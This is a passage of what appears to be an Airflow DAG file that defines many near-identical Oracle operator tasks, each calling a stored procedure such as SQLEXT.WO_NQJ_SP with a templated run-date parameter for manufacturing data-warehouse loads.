":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "ABNORMAL_DETAIL_NQJ" ABNORMAL_DETAIL_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "ABNORMAL_DETAIL_VN1" ABNORMAL_DETAIL_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "ABNORMAL_DETAIL_WS1" ABNORMAL_DETAIL_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "ABNORMAL_DETAIL_WS2" ABNORMAL_DETAIL_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "ASS_RESULT_NQJ" ASS_RESULT_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "ASS_RESULT_WS1" ASS_RESULT_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "ASS_RESULT_WS2" ASS_RESULT_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "ASS_STAGE_NQJ" ASS_STAGE_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "ASS_STAGE_WS1" ASS_STAGE_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "ASS_STAGE_WS2" ASS_STAGE_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "BI_DIMBUDESC" BI_DIMBUDESC = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "BU_NQJ" BU_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "BU_WS1" BU_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "BU_WS2" BU_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "LINE_LIST_NQJ" LINE_LIST_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "LINE_LIST_VN1" LINE_LIST_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "LINE_LIST_WS1" LINE_LIST_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "LINE_LIST_WS2" LINE_LIST_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "LINE_NQJ" LINE_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "LINE_NQX" LINE_NQX = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "LINE_VN1" LINE_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "LINE_WS1" LINE_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "LINE_WS2" LINE_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "MV_XX_MTL_ITEM_CATEGORY" MV_XX_MTL_ITEM_CATEGORY = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SMT_LINE_NQJ" SMT_LINE_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SMT_LINE_VN1" SMT_LINE_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SMT_LINE_WS1" SMT_LINE_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SMT_LINE_WS2" SMT_LINE_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SPN_TABL_WS1" SPN_TABL_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SPN_TABL_WS2" SPN_TABL_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SPN_TABL_NQJ" SPN_TABL_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SPN_TABL_NQJ" SPN_TABL_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SPN_TABL_NQX" SPN_TABL_NQX = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SPN_TABL_VN1" SPN_TABL_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "STAGE_WS1" STAGE_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "STAGE_WS2" STAGE_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "STAGE_NQJ" STAGE_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "STAGE_NQX" STAGE_NQX = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "STAGE_VN1" STAGE_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WIP_DISCRETE_JOBS" WIP_DISCRETE_JOBS = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WIP_ENTITIES" WIP_ENTITIES = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WIP_LINES" WIP_LINES = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "XXWIP_STOREIN_USAGE_TEMP" XXWIP_STOREIN_USAGE_TEMP = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "CHANGE_LINE_NQJ" CHANGE_LINE_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "CHANGE_LINE_VN1" CHANGE_LINE_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "CHANGE_LINE_WS1" CHANGE_LINE_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "CHANGE_LINE_WS2" CHANGE_LINE_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "MO_OUTPUT_QTY_NQJ" MO_OUTPUT_QTY_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "MO_OUTPUT_QTY_VN1" MO_OUTPUT_QTY_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "MO_OUTPUT_QTY_WS1" MO_OUTPUT_QTY_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "MO_OUTPUT_QTY_WS2" MO_OUTPUT_QTY_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "MO_STATUS_NQJ" MO_STATUS_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "MO_STATUS_VN1" MO_STATUS_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "MO_STATUS_WS1" MO_STATUS_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "MO_STATUS_WS2" MO_STATUS_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "PD_ABNORMALCODE_NQJ" PD_ABNORMALCODE_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "PD_ABNORMALCODE_VN1" PD_ABNORMALCODE_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "PD_ABNORMALCODE_WS1" PD_ABNORMALCODE_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "PD_ABNORMALCODE_WS2" PD_ABNORMALCODE_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "TRIAL_FORMULA_NQJ" TRIAL_FORMULA_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "TRIAL_FORMULA_SMT_NQJ" TRIAL_FORMULA_SMT_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "TRIAL_FORMULA_SMT_VN1" TRIAL_FORMULA_SMT_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "TRIAL_FORMULA_SMT_WS1" TRIAL_FORMULA_SMT_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "TRIAL_FORMULA_SMT_WS2" TRIAL_FORMULA_SMT_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "TRIAL_FORMULA_VN1" TRIAL_FORMULA_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "TRIAL_FORMULA_WS1" TRIAL_FORMULA_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "TRIAL_FORMULA_WS2" TRIAL_FORMULA_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WO_NQJ" WO_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WO_NQJ" WO_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WO_NQX" WO_NQX = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WO_ROUTING_NQJ" WO_ROUTING_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WO_ROUTING_NQX" WO_ROUTING_NQX = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WO_ROUTING_VN1" WO_ROUTING_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WO_ROUTING_WS1" WO_ROUTING_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WO_ROUTING_WS2" WO_ROUTING_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WO_VN1" WO_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WO_WS1" WO_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "WO_WS2" WO_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "YIELDRATEWO_YR_NQJ" YIELDRATEWO_YR_NQJ = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "YIELDRATEWO_YR_NQX" YIELDRATEWO_YR_NQX = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "YIELDRATEWO_YR_VN1" YIELDRATEWO_YR_VN1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "YIELDRATEWO_YR_WS1" YIELDRATEWO_YR_WS1 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "YIELDRATEWO_YR_WS2" YIELDRATEWO_YR_WS2 = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_DEPARTMENT_H" SDM_DEPARTMENT_H = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_EMPLOYEE_H" SDM_EMPLOYEE_H = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SRC_WO" SDM_SRC_WO = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SRC_MO_STATUS" SDM_SRC_MO_STATUS = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SRC_YIELDRATEWO_YR" SDM_SRC_YIELDRATEWO_YR = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SRC_ABNORMAL_DETAIL" SDM_SRC_ABNORMAL_DETAIL = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SRC_TRIAL_FORMULA" SDM_SRC_TRIAL_FORMULA = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SRC_CHANGE_LINE" SDM_SRC_CHANGE_LINE = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SRC_MO_OUTPUT_QTY" SDM_SRC_MO_OUTPUT_QTY = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SRC_TRIAL_FORMULA_SMT" SDM_SRC_TRIAL_FORMULA_SMT = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SRC_SPN_TABL" 